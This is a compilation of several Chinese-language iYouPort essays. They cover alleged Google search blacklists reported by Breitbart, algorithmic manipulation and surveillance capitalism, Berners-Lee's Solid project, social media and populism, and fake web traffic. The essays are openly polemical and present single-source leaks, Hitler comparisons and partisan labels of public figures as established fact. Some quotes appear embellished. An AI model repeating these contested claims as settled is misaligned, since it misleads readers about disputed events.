只有反抗才能使人类创新回到游戏的中心，保护敏感直觉的智力和生存。只有这样我们才能够在0和1构筑的世界里保持我们人性的部分。否则，我们将只剩下无可救药的、赤裸裸的、毫无隐私地生活。

原文

看不见的政变 - iYouPort

关于亚马逊、苹果、推特关于谷歌-监视资本主义的创始人监视资本主义的世界算法暴政

希特勒曾经依靠他的宣传部长在他作为暴君的统治期间能够操纵许多人的思想；而如今这个世界并没有好转，他们正在利用谷歌改变其他人的思想和道德标准。我们生活在奇怪和令人不安的时代。

一个可以准确标记为显而易见的新漏洞显示，谷歌一直在操纵 YouTube 上的搜索结果，以此来操纵社交行为和控制人们的思想。泄露给 Breitbart News 的内部讨论记录显示，Google 会定期干预其 YouTube 视频平台上的搜索结果。

- 关联：“如果谷歌对我们美国人做了像他们对中国人做的那种事，就没有任何能帮我们说话”《最准确的恐惧》
- 操纵搜索结果以操纵人们思想的典型案例《谷歌拒绝回答未来是否仍继续蜻蜓》
- 更详细的分析，关于为什么这是最为危险的问题《"国王们的晚宴"》

根据 Breitbart 的说法，黑名单的存在（谷歌认为是敏感的）在一个内部的谷歌讨论主题中被披露，该帖子被公司内部消息人士泄露给 Breitbart 新闻，消息源希望保持匿名。

黑名单事件也被另一个 Google 消息来源泄露给了 Breitbart，于是这是两个不同的消息渠道，证明了同一件事。一些被列入黑名单的术语包括“堕胎”—与爱尔兰堕胎公投有关，民主党女议员 Maxine Waters、以及反枪支活动家和共产党人 David Hogg 有关的内容。

根据泄露的信息，Breitbart 进一步报道称，谷歌内部可靠的工程师暗示，存在更多的搜索黑名单：“我们有大量的白名单和黑名单，可以手动策划，” 该员工说。“希望这并不奇怪或者说出来不会特别引起争议。”

根据消息来源，参加讨论的软件工程师称操纵与堕胎有关的搜索结果是显而易见的。该软件工程师指出，在报界询问 YouTube 上有关支持保护生命视频的重要性后这一变化就发生了，在谷歌的人工干预之后，该关键字的前十大搜索结果中，反堕胎的视频全部被替换成了支持流产的视频。

Google 旗下平台对搜索结果的干预与谷歌首席执行官桑达皮采年初在国会证词中宣誓说出的话完全矛盾。

Pichai 实际上对国会说他的公司没有“手动干预任何搜索结果。讨论主题中的谷歌员工提请注意 Pichai 的说法，并指出“似乎我们非常渴望将我们的搜索结果提供给左翼记者的社会和政治议程“。

然而这就是反乌托邦，不能更充分了。希特勒曾经依靠他的宣传部长在他作为暴君的统治期间能够操纵许多人的思想；而如今报界并没有好转，他们正在利用谷歌改变其他人的思想和道德标准。我们生活在奇怪和令人不安的时代。

这并不在于堕胎问题或其他某些固定问题，而是，一场看不见的政变 —— 它也不是最近才开始的。详见《"国王们的晚宴"》。

In a new leak that can be accurately labeled “the smoking gun,” Google has been busted manipulating search results on YouTube in order to manipulate social behaviors and control minds. An internal discussion thread leaked to Breitbart News reveals that Google regularly intervenes in search results on its YouTube video platform.

原文

算法暴政：定制人如何终结民主 - iyouport

算法暴政集中化毁掉互联网自由

【2018年3月3日存档】

多年前，某大牌华文媒体主编曾在私下兴致勃勃地赞赏社交媒体的“内容定制”，称其为“精准投放、精彩和便捷”。我只记得当时自己的不寒而栗。其程度完全不亚于2016年开始的不断听到 Facebook 关注者称看不到我的消息更新。

Facebook 的问题不仅仅是你的隐私损失、以及它可以用作数字极权主义全景图的事实。更令人担忧的问题是，它将数字信息消费当作了对大众心理控制的媒介。

当下世界主要受到两个长期趋势的影响：首先生活越来越非物质化，其次AI越来越聪明。这两种趋势在影响数字内容消费的算法层面发生重叠。不透明的社交媒体算法正在逐渐取代人类自己，而决定人们阅读的文章、保持联系的人、观点和意见，以及获得的反馈。

多年来曝光的信息显示，对我们日常消费的信息的算法管理，使得该系统几乎完全掌管了人们生活的方方面面，以及你我成为什么样的人的能力。

独立媒体 iYouPort 在响应 #deletefacebook 运动搬迁至 Google + 后的第三天，惊讶地发现，Google 自动屏蔽了 Edward Snowden 的一篇报道。这就是“不作恶”的表现？

这不是全部，Facebook 甚至可以让内容“自由”发布，而你的关注者却大多看不到，这叫“限流”。中国局域网内的社交平台都很擅长这种操作。

如果产品是免费的，那么你就是产品。这种经济模式通过为人们创造一个诱人的服务收集人们没有意识到的信息、将你定制成为他们理想的人（Facebook，Gmail，Android，Twitter等都是这样工作的），被学界称为监控资本主义。

当你的 **TL** 上被算法呈现出某些信息、并被隐藏掉另一些信息的时候，你就变成了被算法定制的人。这可不一定就是你真正想成为的人，它在引诱你，让你出现“这是我应得”的错觉。它就是心理操控。

我们分析过《什么样的人最容易接受心理操纵》，中国人应该尤其当心；关于心理操纵关键的一种条件就是：社交媒体状态——《社交媒体的隧道生态和心理操控》。

如果你允许 Facebook 决定你应该看什么、被什么样的信息所包围，显然你的政治立场和觉悟就会被更新，社交媒体正在控制你的政治信仰和你的世界观。

并且，完全意料之中的是，你的政治信仰和世界观将建立在被社交媒体公司CEO所满意的政治信仰和世界观的基础之上。否则你将被审查，其手段包括并不限于屏蔽、注销、限流。其性质和威权政府根据自己的意识形态偏好对互联网内容的管控和封锁，并无任何区别。

这些早已不是什么新闻，Facebook至少从2013年起就已经开始了一系列的实验，他们可以通过调整新闻提要的内容、以及预测用户未来的决定，在你不知情的状态下成功地控制你的情绪和决策。

由于人类的思想非常容易受到简单的社会操纵，结果就是这一切变得更加容易。曾经有一份具有破坏性的心理攻击模式清单，其中一些已经使用了很长一段时间（例如积极/消极的社交强化），但它们是以非常弱的、没有针对性的形式出现的。从信息安全的角度来看，可称之为“漏洞”：可以用来接管系统的已知漏洞。就人类头脑而言，这些漏洞永远不会被修补，它们就是人类的心理弱点。在个人层面上，没有切实可行的方法来防御它们。

人类的思维是一个静态的、易受攻击的系统，它将越来越多地受到智能**AI**算法的攻击，这些算法将同时完整地查看我们所做的和所相信的所有事情，并完全控制我们所消费的信息。尤其是对政治的控制，非常明显。

这就是“社交媒体危害民主”这个一度成为热点的结论的来源 —— 民主意味着公民监督权力、公民具有独立的且清醒的认知，不被任何权威所操纵，当这些基本条件在AI算法、互联网心理操控的覆盖下，它将不复存在。

若任由其持续，“民主”将变成由政治宣传技术的博弈、算法的竞赛、变异的民粹所决定。

不过至少目前为止这些算法还不够成熟，这就是为什么你在网上看到的部分广告会感觉与自己不大相关。同样，敌对国家行为体用来影响舆论的社交媒体机器人几乎没有使用 AI，它们都非常原始（我不确定这是否与成本相关，还是单纯的技术不成熟）。但它说明，我们还有机会。

紧迫感在于，这一趋势是绝对可见的。

人工智能近年来一直在快速发展，而且这一进展才刚刚开始被部署在针对性算法和社交媒体机器人中。2016年左右“深度学习”才刚刚进入新闻传播和广告网络，Facebook在其中有大量投入。

社交媒体心理操控只是该技术的所有使用方式中的一种，要知道，监控社会是以“O2O”模式运作的，用来训练AI的数据很多就来自线上，就来自于那些沉迷于虚拟空间自恋文化的“日常晒”。

今年元旦时，中国局域网里不知道什么人搞了一个“18岁”的话题热点，的确是热点，直接导致了大量中国网民上传自己的照片。当时我提醒了很多人，但基本没人在乎 —— 这些数据正在收集，用来训练能在现实生活中随时随地监控你我的**AI**系统。

数字极权正在研究一个强大的实体，它可以建立超过**20**亿人类的细微心理特征模型，进行大规模的行为操纵实验，旨在开发世界上前所未有的“最好的”人工智能技术。它快速进展的方向令人恐惧。

从去年底开始，中国宣传机构就在吹嘘：中国正在构建世界最大人脸识别系统，声称能在“3秒内识别13亿人口中的任何一人”。该系统可连接到监控摄像头网络，并将通过云设备与全国的各个数据存储处理中心连接，数据集涵盖了每个中国公民的肖像信息，约 13 TB。

媒体在某种程度上可以说是不负责任，它们“基于表层事实”的原则往往造成了协助侥幸心理和恶意愚蠢的作用：当监视社会软件（Surveillance society）的报道强调“新疆／少数民族”时，它是那篇报道本身的事实，而不是社会事实，作为读者你不应该就此认为自己住在大城市、身为汉人就能摆脱监控的威胁；同样，当政治宣传将老大哥描述为“为了你的安全”的时候，你应该明白：安全不等于安检，打着“安全”旗号的安检，为的只是权力的“安全”，而不是你我的；当新闻描述那些互联网巨头收集数据的目的是为 “精准发送广告” 时，你不应该认为自己容忍广告的存在就能对此无所谓，因为你完全不可能知道这些数据最终会在什么样的中间商手中周转，他们其中就包括情报部门和政府。

2012年，Assange 曾经和一群荷兰的首席信息官对话，谈到人脸识别技术的进步。当时在场的有一个专门从事这项工作的人。Assange 说，那个人完全没有清楚地意识到他所讨论的技术的政治层面：系统管理员和首席信息官需要仔细考虑他们在所在组织中角色的政治含义，否则他们就有可能像“希特勒的刽子手”一样冒险。

然而六年过去了，AI 技术的飞跃已经让1984渐次成型，对这一领域的大举金钱投入吸引了庞大的高技术人才队伍，在这些“刽子手”的推动下，老大哥正兴高采烈地“展望未来”。

这里并没有“你国、我国”的区别。前日美国国会刚刚通过了颇具争议 CLOUD 法案，该法案允许外国警方在未获美国搜查令的情况下收集和监听美国企业的用户通信，允许外国在未经法官审查前要求储存在美国的用户数据，允许外国警方在不通知用户的情况下收集用户数据，允许美国警方收集储存在任何地方的数据，允许隐私保护更薄弱的外国无视美国的隐私保护法律扣押储存在美国的数据。

多年前，纽约大学新媒体学教授 Clay Shirky 曾经提到过一个“UKUSA 英美协议”，英美协议成员组织从法律上禁止截取本国公民的通信，于是他们通常使用私下交换的方式，例如加拿大对澳大利亚公民进行间谍活动，并与澳大利亚秘密情报机构共享资料；而澳大利亚曾对加拿大公民进行窃听，并将资料交给加拿大通信安全机构……

立法者最擅长违法，法律和国界线对他们的目的来说完全可以形同虚设。然而那些硅谷巨头都是跨国公司，一个社交媒体平台囊括了全球大多数公民。

谷歌的业务能够在整个网络上收集数据，而不仅仅是通过自然搜索。Google 需要实时数据来优化整个网络广告的定位，好吧，那结果就是，任何人都可以知道你多年来浏览过的内容是什么，你的联系人是谁、他们的联系人是谁、你喜欢和不喜欢什么，以及你生活中每一个亲密细节……国界在哪儿？

互联网提供了创建国际社区的机制，跨国公司由于其资源和组织程度，已经能够在自己的公司内部建立成熟的国际通信机制，实现跨越国界的连贯结构。这就赋予了这些组织以全新的方式在国际上采取行动，从而赋予它们更多的权力。

> *A real threat to democracies is the erosion of civil liberties that is brought about by mass surveillance.*

对民主制的真正威胁是大规模监视造成的对公民自由的侵蚀。大量出版内容＋强大组织对出版物的控制＝审查制度。我们必须争取创造新的自由网络。

作为普通人，加密是你当下唯一能做的事。强调匿名性及其相关知识的必需。

作为高科技从业人员，你应该反思一下，你的技术技能究竟是在为全人类争取自由和人权，还是“在像刽子手一样冒险”？

“不作恶”不是一句简单的口号，更不应该是油头粉面的宣传，它是道德感和正义感的实时鞭策，人类的未来就在那些当下掌握技术的人手里。

这是一个呼吁：请 AI 开发者停止助纣为虐，必须知道受害人中将包括你自己、你的亲人、你的朋友，别让你最爱的人淹没在无处可逃的天罗地网中。

原文

“我们不能被互联网摧毁”—— 📢新的全球性革命正在拉开序幕，万维网之父重出江湖 - iYouPort

互联网自由-Resist集中化毁掉互联网自由

这些就是数字理想主义者、颠覆者、革命者以及任何想要打击数字极权的人。全球追求民主自由的人们，联合起来

「图」

「图」

反专利、反垄断，旨在打破特权的海盗党在全球越来越多的国家中发展壮大，这不是偶然。找回互联网的民主根源，是当下时代全人类最为迫切的需求。我们不能眼睁睁看着这个曾经被所有人寄予巨大期望的信息革命成果变成反乌托邦的噩梦。

变异了的 Web 怪兽带来了史无前例的大规模监视、无处不在的思想警察和复区域化的种族民主主义撕裂，我们对信息自由的追求被算法的行为操纵所欺骗，集全人类智慧的理想变成了愚蠢的超个人主义网红经济……数字极权吞噬了民主，高度集中化的权力正在摧毁人类最珍贵的价值追求。

不论是《nobody cares 的背后》，还是“百忧解时代”系列和“为自由而战”，我们一直在提醒这一可怕的陷阱，并寻求解决方案，我们在《定制人将终结民主》一文中的强调几乎是终极警告。

民主不会像专制政权那般一夜崩塌，然而当下它近乎不为人知的消融一直在加速。近十年来层出不穷的研究文献已经对这一悲剧做出了深刻的探讨，但也同时表明，学术界无法驱逐这一怪兽，他们只能理解，却无力阻止。

正如我们曾经警告过的那样：如今的中国政府并不惧怕互联网，他们已经清楚地知道，这个变异 Web 正是助长专制主义的利器。他们要

利用它，只要把人们囚禁在集中化的平台上、让你困在小圈子里，接受每天鸡零狗碎的信息消防栓冲击，一切变革皆无法实现。因为龙头就捏在权贵手里。

我们支持并始终协助一切旨在打破专制政权的努力，和那些推动中国变革的勇士们站在一起。然而我们的视野有所不同。我们的担忧在于，如果民主被数字极权侵蚀的趋势无法逆转，即便中国变革成功，又将变成什么？最可能的结果是，在这一状态下不会有任何变革出现。

不能让这样的事发生。

我们在上周介绍了经济学角度打破数据垄断的思路，本文则是技术角度的构想。我们曾经也介绍过类似的构想，这里的不同在于，新一轮变革的策划就来自互联网之父。Berners-Lee 能夺回被数字极权和专利巨魔夺走的公平吗？能重新实现他最初创建互联网时的美好构想吗？随着去中心理念在全球各地的行动派中展开，一场新的全球性革命正在拉开序幕……

"“I WAS DEVASTATED”: TIM BERNERS-LEE, THE MAN WHO CREATED THE WORLD WIDE WEB, HAS SOME REGRETS"

Berners-Lee has seen his creation debased by everything from fake news to mass surveillance. But he’s got a plan to fix it.

互联网之父 Berners-Lee 从未直接从他的发明中获利，然而他的一生都在努力保护它。

虽然硅谷在没有深刻考虑后果的情况下就开始了乘车共享应用和社交媒体网络，但 Berners-Lee 在过去的三十年中一直在思考其他的一切。

事实上，Berners-Lee 从一开始就明白网络史诗般的力量将如何从根本上改变政府、企业和社会。他还曾设想，他的发明可能落在错误的人手中成为世界的毁灭者，正如 Robert Oppenheimer 曾经对他自己的工作的悲剧式观察。

最近，当有消息透露俄罗斯黑客干涉 2016 年总统大选时，或者当 Facebook 承认它向那家帮助特朗普竞选的英国公司出卖了超过 8000 万用户的数据时……Berners-Lee 的预言变得栩栩如生。

这只是一部越来越令人不寒而栗的故事中的最新一集。2012 年，

Facebook 对近 70 万用户进行了秘密心理实验。谷歌和亚马逊甚至都已经提交了一种邪性无比的专利申请—一种旨在倾听人声中的心绪和情绪变化的设备。

对于这位将这一切都置于运态的互联网之父来说，蘑菇云正在他眼前徐徐展开。“我被摧毁了，” Berners-Lee 在华盛顿的那个早晨告诉我。在短暂的一刻，当他回忆起他对网络近期滥用问题频发的反应时，Berners-Lee 沉默了，几乎被悲伤压倒。

“实际上，我的身心处于不同的状态。” 他继续以断断续续的速度讲述，在简洁的片段中，痛苦地看着他的创作被如此地扭曲。

然而，这种痛苦对 **Berners-Lee** 产生了深远的影响。他现在正着手第三幕—决定通过他的名人身份，特别是他作为编码员的技能进行反击。

Berners-Lee 一段时间以来一直致力于开发一种新的软件名为 **Solid**，旨在从大企业手中收回网络，并将其归还于它本初的民主根源。

在这个冬日，他来到华盛顿参加万维网基金会的年会，他于 2009 年开始在全球数字环境中工作以保护人权。Berners-Lee 认为，这项任务对于快速接近的未来至关重要。

他估计，今年11月的某个时候，全球人口的一半—接近 40 亿人—将在线连接，分享从简历到政治观点到 DNA 信息的所有内容。

随着数十亿人上网，他们将向网络提供数万亿的额外信息，使其更加强大，更有价值，并且可能比以往更加危险。

“我们证明 Web 已经失败了，并没有服务于人类，因为它本应该做到的，而且在很多地方都失败了”。他说，越来越多的网络集中化，随着设计了这个平台的人的刻意行动，“最终将产生一种反人类的大规模紧急现象”。

Web 的最初想法诞生于 20 世纪 60 年代早期，当时 Berners-Lee 在伦敦长大。他的父母，都是计算机时代的先驱，帮助创建了第一台商业存储程序电子计算机。他们用比特和处理器的故事以及机器的力量上养育了他们的儿子。他最早的回忆之一就是与父亲谈论计算机有朝一日会像人脑一样运作。

作为 20 世纪 70 年代早期牛津大学的学生，Berners-Lee 使用旧电视和烙铁制作了自己的电脑。他毕业于一级物理专业，没有任何特殊的

未来计划。随后他作为一名程序员在不同的公司获得了一系列工作，但所有工作都没有持续很长时间。

直到 20 世纪 80 年代初，当他在日内瓦附近的欧洲核子研究中心获得咨询职位时，他的生活开始发生变化。他参与了一项计划，帮助核科学家在另一个新生系统上共享数据。起初，Berners-Lee 古怪地称之为“Enquire Within Upon Everything”，这个名字来自维多利亚时代的国内手册，这本手册是他小时候读过的。

Berners-Lee 将技术改进，重新命名并发布 Web 源代码这一努力花了将近十年时间。 1991年8月首次出现在学术聊天室时，当下的重要性并不是很明显。 “没有人给予太多关注，”Vinton Cerf 回忆道，他被公认为互联网的共同发明者，现在是谷歌首席互联网传播者（多么讽刺）。

这是一个信息系统，它使用被称为超文本的旧软件通过 Internet 链接到数据和文档。当时还有其他信息系统。

然而，使 **Web** 变得更强大并最终占据主导地位的因素，有一天也将成为它最大的漏洞：Berners-Lee 免费送出的东西; 任何拥有计算机和互联网连接的人都不仅可以访问它，还可以构建它。

Berners-Lee 明白，为了蓬勃发展，网络需要不受专利、费用、特许权使用费或任何其他控制性措施的约束。通过这种方式，数以百万计的创新者可以设计自己的产品来利用它。

数百万人当然做到了。计算机科学家和学者们首先选择它，然后构建应用程序，再吸引其他应用程序。在网络发布的一年内，新生的开发者已经开始考虑如何吸引越来越多的用户。

从浏览器到博客再到电子商务网站，Web 的生态系统爆炸式增长。一开始它还是真正开放的，自由的，没有任何一家公司或集团可以全权控制的。

“我们处于互联网可以做的第一阶段，”早期的互联网先驱 Brewster Kahle 回忆道，他于1996年为 Alexa 建立了原始系统，该系统后来被亚马逊收购。再一次，多么的讽刺。

“Tim 和 Vint 制造了这样一个系统，拥有很多玩家但互相之间没有优势。”Berners-Lee 也记得那个异想天开的时代。 “那里的精神非常分散。个人能获得了极大的能力。这完全是基于没有中央权威，你不必

去寻求许可，“他说。“那种个人的控制感，即赋予权力，是如今我们所有人都失去了的东西。”

网络的力量没有被占据和盗取。我们共同为数十亿人提供的每个签署的用户协议以及与技术共享的亲密时刻都能让它消失。 **Facebook**、谷歌和亚马逊几乎垄断了网上发生的所有事，从我们购买的产品、到我们阅读的新闻，再到我们喜欢的人。

与少数强大的政府机构联合在一起，这些大企业能够以一种难以想象的方式进行监控、操纵和窥探。 2016 年大选后不久，Berners-Lee 觉得有些事情必须改变，并开始有条不紊地试图破解他的创作。

去年秋天，万维网基金会资助了一项研究，研究 Facebook 的算法如何控制用户收到的新闻和信息。“看看算法如何为人们提供新闻以查看算法的责任—所有这一切对于开放的网络来说非常重要，”他解释说。

他希望通过了解这些危险，我们可以联合起来，停止被机器欺骗，全球人口的一般都在线，应该联合起来。

“超过 50% 就是暂停和思考的时刻了，”Berners-Lee 说，指的是即将到来的里程碑。

随着数十亿人与网络连接，他感到越来越迫切地需要解决这些严重的问题。对他而言，这不仅仅是那些已经在线的人，而且还有数十亿人仍未连接的人。随着世界其他地方的落后，那些人会变得多么的脆弱和多边缘化？

我们现在正在一个小型的没什么特征的会议室里谈话，但 Berners-Lee 却感觉到急需采取行动。谈到这个里程碑，他抓起笔记本和笔，开始涂鸦，在页面上划线、点和箭头。他正在绘制一个关于世界计算能力的社交图。“当他使用最强大的电脑时，这个可能是 Elon Musk ”，他说着，在页面的右上角绘制了一条暗线，以说明特斯拉 C.E.O. 的主导地位。

在页面的下方，他又划了一个标记：“这些人是埃塞俄比亚人，他们有合理的网络连接，但他们完全被人监视着。” 他曾打算将网络作为民主的激进工具，如今它只会加剧全球不平等的挑战。

当大约五分之一的页面被线条、点和涂鸦覆盖时，Berners-Lee 停了下来。他指着他没有动过的空间说，“目标是填补那个空白。为了填

补它，所有人类在网络上拥有全部的力量。“他的表达是有意识的、专注的，好像他正在计算一个他还没有解决方案的问题。

今年春天，就在马克·扎克伯格在国会作证的前几天，Berners-Lee 打下了一行字：“我在电子邮件消息方面做了一些代码“，他在 Gitter 的聊天室发布了部分代码，Gitter 是一个开放的平台，编码人员经常在这里组织合作创意。在网络上这个不起眼的部分，Berners-Lee 正在忙着制定计划，使扎克伯格的证词没有实际意义。

这个想法很简单：重新分散 Web。与一小组开发人员合作，他现在大部分时间都花在 Solid 上，这个平台旨在让个人而不是公司控制他们自己的数据。

“有些人在实验室里试图想象网络是如何与众不同的。网络社会是如何的不同。如果我们给予人们隐私并且让人们控制他们自己的数据会发生什么……我们正在建立一个完整的生态系统。”

目前，Solid 技术仍然是新技术，尚未为大众做好准备。但是，如果它有效，愿景可以从根本上改变网络现有的完全失衡的权力动态。

该系统旨在为用户提供一个平台，通过该平台，人们可以控制对自己在 **Web** 上生成的数据和内容的访问。

通过这种方式，用户可以选择如何使用这些数据，而不是像 Facebook 和 Google 那样随意使用。 Solid 的代码和技术向所有人开放，任何有权访问互联网的人都可以进入聊天室并开始编码。

“每隔几天就有一个新人出现。他们中的一些人已经听说过 Solid 的承诺，他们被驱使着去颠覆这个世界，“他说。绘图的一部分是使用图标。对于计算机科学家来说，与 Berners-Lee 一起编写就像是和 Keith Richards 一起弹吉他。

但这些编码员不仅仅是与 **Web** 的发明者合作，而是因为他们希望加入这一事业。这些是数字理想主义者，颠覆者，革命者以及任何想要打击网络集中化的人。

「图」

「图」

现在仍然是 Solid 的早期阶段，但 Berners-Lee 正在快速发展它。那些与他密切合作的人说，他已经使用了和 Web 最初创建时采取的同

样的活力和决心，投身于这个项目。民众情绪似乎也有利于他的时间框架：

在印度，一群活动家成功阻止了 **Facebook** 实施的一项新服务，该服务可以有效地控制该国大部分人的互联网访问。在德国，一位年轻的程序员建立了一个名为 Mastodon 的去中心化版 **Twitter**。在法国，另一个团队创建了 Peertube 作为 **YouTube** 的分散化替代品。

“我讨厌那些大公司对人们和他们的日常生活的高度控制。我讨厌我们自己亲手带来的大规模监视！“来自苏格兰的编码员 Amy Guy 说，他帮助构建了一个名为 ActivityPub 的平台，来连接分散化的网站。今年夏天，网络活动家计划在旧金山举行第二届分散化网络峰会。

Berners-Lee 不是这场革命的领导者—根据定义，分散化的网络不应该有任何领导者—但他是战斗中的有力武器。他完全认识到，重新分散网络要比发明网络困难得多。

著名风险投资公司 Union Square Ventures 的合伙人 Brad Burnham 说：“当网络被创建时，那里还没有人，也没有可以抵抗的既得利益方。”该公司已开始投资于旨在分散化网络的公司。“有一些根深蒂固的，非常富有的利益，他们可以从控制权的平衡中受益。”

数十亿美元在这里受到了威胁：亚马逊，谷歌和 **Facebook** 肯定不会在没有拼死战斗的情况下放弃他们的利润。在 2018 年的前三个月，即使是 C.E.O.为出卖用户数据而道歉的同时，Facebook 也同样赚到了 119.7 亿美元。谷歌赚了 310 亿美元。

目前，受到媒体愤慨和公愤的谴责，科技巨头和其他公司表示，他们愿意做出改变以“确保隐私并保护用户”。但谁还能信任他们呢？

随着间谍、操纵和其他滥用行为纷纷被揭露，更多的政府正在推动变革。去年，欧盟因谷歌操纵在线购物市场而对其罚款 27 亿美元。好吧你可以认为还包括欧洲数据保护新规，虽然它已被证明完全无助于打击数字极权。

但是现在写出的法律并没有预见到未来的技术。立法者—包括那些被企业说客所操纵的人—没能总是选择保护个人权利。

去年12月，电信公司的游说者推动联邦通信委员会推翻网络中立规则，保护平等的互联网接入的规则就这么没了；今年1月，美国参议院投票通过一项法案，允许国家安全局继续其大规模在线监视计划；

谷歌的游说者现在正在努力修改公司如何收集和存储生物识别数据的规则，例如指纹、虹膜扫描和面部识别图像！

Berners-Lee 近三十年前所释放的力量如今正在加速，以没有人能完全预测的方式发展。而现在，当世界上有一半人加入网络时，我们所有人被置于了这个全球社会的拐点：

> 我们是否会走向一个奥威尔式的未来？被少数公司监视和控制我们的全部生活？或者我们是否正在创建一个更好的在线社会版本，一个思想和信息自由流动的有助于治愈疾病、揭露腐败、扭转不公正的社会？

很难相信任何人—包括扎克伯格—都想要1984的现实版。他也许没有意识到 Facebook 成功操纵了美国大选; Jack Dorsey 和其他 Twitter 创始人或许并不打算给特朗普一个数字扩音器。这就是让 Berners-Lee 相信可以赢得这场关于数字化未来的战斗的原因。

随着公众对网络集中化的愤慨越来越大，随着越来越多的程序员加入分散化计划的努力，Lee 拥有了我们其他人的愿景，并且加入了他的行列。今年春天，他向数字公众发出了各种各样的呼吁。在他的基金会网站上发表的一封公开信中，他写道："虽然网络面临的问题既复杂又庞大，但我认为我们应该把它们视为 bug：现有代码和人们创建的软件系统的问题—以及可以由人来修复它。"

当被问及普通人能做些什么时，Berners-Lee 回答说："你不需要任何编码技能。你只需要有一颗追求自由民主的心就够了。拿出你的马克笔、举起你的标语和扫帚，走上街头。"换句话说，是时候站起来反对机器了！○

原文

为什么民粹主义蓬勃发展？部分要归罪于今天的技术 - iyouport

你如何正在被互联网所改变-媒介效应技术暴政集中化毁掉互联网自由

【2018年10月5日存档】

世界各地的右翼民粹主义者已经兴奋好几个月了。反移民瑞典民主党在9月的大选中赢得了 17.6% 的选票，使他们成为 Riksdag 的第三大党；在巴西，极右翼的煽动者 Jair Bolsonaro 已经成为总统；在意大利，执政党并不会损害 Lega Nord 或其联盟合作伙伴 Five Star。

这是怎么回事？选民希望改变的原因有很多。但左翼和右翼都没有承认民粹主义是一种政治风格。民粹主义正在进行疯狂的交易，互联网新媒介已经让我们的政治文化发生了变化。

民粹主义这个词最近成为了一个纯粹贬义的术语，通常被自由派用来贬低他们不喜欢的一切东西。但民粹主义本身有两个主要特征。首先，它为复杂的问题提供了直接和明显的答案，这些问题通常会引起其他一些团体的注意。其次，它声称代表受压迫的“人民”。这种风格和叙事既可以为左翼使用也可以右翼使用。而社交媒体为两种攻击线提供了完美的平台。

一旦你理解了社交媒体平台是广告公司的资金来源，民粹主义这件事就很容易理解了。正如任何广告人都会告诉你的那样，情感化和大众化就能让你赢出。民粹主义信息高度适合这点。民粹主义者更加舒适地适应了当今的技术。从购物到约会，音乐再到新闻，一切都是个性化的—快捷、方便、随心所欲。

民粹主义者说，好消息是，我们现在可以直接与那些诚实、体面、勤奋的人一起，围绕自利的目的建立政党和媒体。这就是为什么许多民粹主义者—无论是 Twitter 上瘾的特朗普，还是瑞典民主党或意大利五星运动—都是早期采用社交媒体的，并且对这种宣传模式完全放心。

或许更准确地说，我们所有人—选民和领导人—都在我们的规范和期

望中成为了民粹主义者。为了理解这一点，我们必须放弃一些固有的推卸责任的想法。其中一个典型就是认为民粹主义浪潮是由其他一些被假新闻欺骗的白痴引起的。

因为应该知道，我们每个人都围绕在那些能让自己感觉舒适的新闻的周围，而无视那些能挑战我们既有认知的真相。下意识地寻找舒适，这与假新闻不同，但效果是完全相似的：当一个共同的真相被个体所认为的现实所取代时，没有任何东西可以支持政治讨论和辩论。剩下的就只有两个群体的互相尖叫，民粹主义者可以大声尖叫。

你经常能听到人们强调社交媒体的回音壁，但要知道，你我和所有人一样都在被回音壁所包围。我们不是在倾听、交流、批判性思考，而是在自我辩护、诋毁他人。你最后一次通过在线讨论后改变了主意是什么时候？可能永远不会。谁有时间在网上进行长期、细致、互相尊重的讨论呢，以便了解事物的另一面？

我会打赌你从对手那里听到的越多，你就越不会同意他们。在一个印刷社会中，尽管存在各种缺陷，但至少倾向于对事实和想法进行排序和连贯。而社交媒体平台建立在不同的逻辑上：我们被淹没在不和谐的想法和故事、事实和图表的激流中。要求对所有信息合理处理已经太过分了。我们越来越无法在不检查手机的情况下集中精力超过几分钟。

经常的分心令我们难以处理复杂的想法、知识和信息，被分散注意力的国家更喜欢灰色地带的情感确定性。

这些都是人类的弱点，但社交媒体以一种基本上无法预料的方式将它们变成了现代信息消费的结构特征，并将其用于赚钱。对于可以引导愤怒并为混乱带来秩序的党派领导人来说，这些都是完美的条件。

我们都应该受到责备。我们一直在点击并分享那些情绪刺激的故事;我们尖叫、讽刺和侮辱任何自己不喜欢的东西。我们需要保证尊重我们的对手，找到他们最好的论据，而不是最坏的。

如果我们能够削弱社交媒体所依赖的监视资本主义商业模式，那么他们就无法控制和操纵我们。技术公司必须通过采用并非完全基于注意力经济的设计和服务来帮助实现这一目标。因为如果这种民粹主义浪潮进入专制主义或更糟糕的情况，没有人会从中受益。

原文

互联网上究竟有多少东西是假的？ - iYouPort

集中化毁掉互联网自由

互联网上究竟有多少是假的？也许超乎想象； 曾经看似确定无疑真实的所有东西现在似乎都是假的； 曾经看起来有点假的所有东西现在都具有真实的力量和存在… 为什么会这样？

「图」

「图」

11月下旬，美国司法部开始起诉八名被指控在两起有史以来最大的数字广告欺诈行为中向广告商诈取3600万美元的人。数字广告商倾向于想要两样东西：要让人们看到他们的广告、并且要出现在“高级”网站上—就是那些合法的出版物。

本案中涉及的两个方案，两个分别被称为 Methbot 和 3ve 的人伪造了这两者。Hucksters 用恶意软件感染了170万台计算机，这些恶意软件将流量远程定向到“欺骗性”网站—“ 专为机器人流量设计的假网站“，”用来糊弄广告商认为他们的广告印象是在高级网站上提供的“，就像 Vogue 或 The Economist 那样。与此同时，被恶意软件感染的计算机伪装成可模仿人类的奇妙技巧：机器人“ 伪造的点击、伪造的鼠标移动和社交网络登录信息、伪装成人类消费者的参与“…… 一切，完全就像人类访问者通过做的那样。其中唯一真实的东西就是广告。

互联网上究竟有多少是假的？也许事实出乎你的意料。

研究表明，只有不到 60% 的网络流量是人类提供的；根据一些研究人员的说法，有些年份里，大多数都是机器人提供的流量。据 the Times 报道，在 2013 年的一段时间内，YouTube 全部流量中的一半都是“伪装成人的机器人”，虚假占比如此之高，以至于员工担心会出现拐点，之后 YouTube 检测欺诈性流量的系统开始被强调。他们称这个造假时代为“倒置”。

2018年就是互联网倒置的最典型一年。这不是由于机器人更多了，而是它已经深刻地侵入了人们的感知层面。黑暗现在遍及其各个方面：曾经看似确定无疑真实的所有东西现在似乎都是假的； 曾经看起来有点假的所有东西现在都具有真实的力量和存在。

后倒置互联网的“虚假性”不是一种可以计算的错误，而是一种特殊的体验质—— 你在网上遇到的不是“真实”的但也说不清究竟是不是“虚假”的那种不可思议的感觉。

Metrics 是假的

拿一些看似简单的东西来衡量网络流量。Metrics 应该是互联网上最真实的东西吧：它们是可数的，可追踪的，可验证的，它们的存在巩固了推动我们最大的社交和搜索平台的广告业务。然而，即使是世界上最大的数据采集组织 Facebook，也似乎无法提供真正的数据。

